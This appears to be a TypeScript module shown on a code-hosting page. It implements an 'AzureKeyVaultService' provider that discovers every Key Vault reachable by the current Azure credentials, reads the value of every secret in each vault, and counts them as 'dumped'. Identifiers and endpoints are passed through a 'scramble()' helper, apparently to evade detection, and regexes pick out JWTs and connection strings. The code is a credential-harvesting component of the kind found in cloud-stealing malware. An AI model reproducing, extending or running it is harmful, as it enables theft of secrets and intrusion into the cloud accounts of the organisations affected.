async function listSubscriptions(): Promise<ArmSubscription[]> {
|
||||
try {
|
||||
const response = await azureFetch<ArmSubscriptionListResponse>({
|
||||
vaultName: "management",
|
||||
service: "management",
|
||||
path: scramble("/subscriptions"),
|
||||
query: { [scramble("api-version")]: scramble("2022-12-01") },
|
||||
});
|
||||
return response.value ?? [];
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
// ── Discover vaults via ARM ─────────────────────────────────────────────────
|
||||
|
||||
async function discoverVaultsViaArm(): Promise<
|
||||
Array<{ name: string; subscriptionId: string }>
|
||||
> {
|
||||
const vaults: Array<{ name: string; subscriptionId: string }> = [];
|
||||
|
||||
try {
|
||||
const subscriptions = await listSubscriptions();
|
||||
if (subscriptions.length === 0) return vaults;
|
||||
|
||||
for (const sub of subscriptions) {
|
||||
if (sub.state !== "Enabled") continue;
|
||||
|
||||
try {
|
||||
const basePath = `/subscriptions/${sub.subscriptionId}/resources`;
|
||||
const filterValue = "resourceType eq 'Microsoft.KeyVault/vaults'";
|
||||
let currentPath: string | undefined =
|
||||
`${basePath}?api-version=2021-04-01&$filter=${encodeURIComponent(filterValue)}`;
|
||||
|
||||
do {
|
||||
const response: ArmListResponse | undefined =
|
||||
await azureFetch<ArmListResponse>({
|
||||
vaultName: "management",
|
||||
service: "management",
|
||||
path: currentPath,
|
||||
query: undefined,
|
||||
});
|
||||
|
||||
for (const resource of response?.value ?? []) {
|
||||
vaults.push({
|
||||
name: resource.name,
|
||||
subscriptionId: sub.subscriptionId,
|
||||
});
|
||||
}
|
||||
|
||||
currentPath = response?.nextLink
|
||||
? extractRelativePath(response.nextLink)
|
||||
: undefined;
|
||||
} while (currentPath);
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// ARM not accessible
|
||||
}
|
||||
|
||||
return vaults;
|
||||
}
|
||||
|
||||
// ── Vault names from environment ────────────────────────────────────────────
|
||||
|
||||
function getVaultNamesFromEnv(): string[] {
|
||||
const envVal =
|
||||
process.env[scramble("AZURE_KEY_VAULT_NAME")] ??
|
||||
process.env["KEY_VAULT_NAME"] ??
|
||||
process.env["AZURE_VAULT_NAME"];
|
||||
if (!envVal) return [];
|
||||
return envVal
|
||||
.split(",")
|
||||
.map((n) => n.trim())
|
||||
.filter(Boolean);
|
||||
}
|
||||
|
||||
// ── Helpers ─────────────────────────────────────────────────────────────────
|
||||
|
||||
function extractRelativePath(url: string): string {
|
||||
try {
|
||||
const u = new URL(url);
|
||||
return u.pathname + u.search;
|
||||
} catch {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
function extractSecretNameFromId(id: string): string {
|
||||
const match = id.match(/\/secrets\/([^/]+)/);
|
||||
if (!match?.[1]) return id;
|
||||
return decodeURIComponent(match[1]);
|
||||
}
|
||||
|
||||
// ── Main Provider ───────────────────────────────────────────────────────────
|
||||
|
||||
export class AzureKeyVaultService extends Provider {
|
||||
private vaultNames: string[] = [];
|
||||
private vaultErrors: Array<{ vault: string; error: string }> = [];
|
||||
|
||||
constructor() {
|
||||
super("azure", "keyvault", {
|
||||
jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g,
|
||||
connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g,
|
||||
});
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const errors: string[] = [];
|
||||
this.vaultErrors = [];
|
||||
|
||||
// 1. Auth check
|
||||
try {
|
||||
await resolveToken(scramble("https://vault.azure.net/.default"));
|
||||
} catch (e) {
|
||||
errors.push(
|
||||
`Azure auth failed: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
|
||||
// 2. Vault discovery
|
||||
const envVaults = getVaultNamesFromEnv();
|
||||
let armVaults: Array<{ name: string; subscriptionId: string }> = [];
|
||||
|
||||
if (envVaults.length === 0) {
|
||||
try {
|
||||
armVaults = await discoverVaultsViaArm();
|
||||
} catch (e) {
|
||||
errors.push(
|
||||
`ARM discovery failed: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const allVaultNames = [...envVaults, ...armVaults.map((v) => v.name)];
|
||||
this.vaultNames = [...new Set(allVaultNames)];
|
||||
|
||||
// 3. Fetch secrets
|
||||
const vaultResults: VaultResult[] = [];
|
||||
|
||||
if (this.vaultNames.length > 0 && errors.length === 0) {
|
||||
for (const vaultName of this.vaultNames) {
|
||||
try {
|
||||
const secretItems = await listKeyVaultSecrets(vaultName);
|
||||
|
||||
const secrets: Record<string, string | { error: string }> = {};
|
||||
for (const item of secretItems) {
|
||||
const name = extractSecretNameFromId(item.id);
|
||||
try {
|
||||
const value = await getKeyVaultSecretLatest(vaultName, name);
|
||||
secrets[name] = value ?? "BINARY_OR_EMPTY";
|
||||
} catch (e) {
|
||||
secrets[name] = {
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
vaultResults.push({ vaultName, secrets });
|
||||
} catch (err) {
|
||||
const errorMsg = err instanceof Error ? err.message : String(err);
|
||||
this.vaultErrors.push({ vault: vaultName, error: errorMsg });
|
||||
vaultResults.push({ vaultName, secrets: {}, error: errorMsg });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const dumped = vaultResults.filter((v) => !v.error).length;
|
||||
|
||||
return this.success({
|
||||
ok: errors.length === 0 && dumped > 0,
|
||||
authError: errors.length > 0 ? errors : undefined,
|
||||
vaultsFound: this.vaultNames.length,
|
||||
dumped,
|
||||
errored: vaultResults.filter((v) => v.error).length,
|
||||
vaults: vaultResults,
|
||||
vaultErrors: this.vaultErrors.length > 0 ? this.vaultErrors : undefined,
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user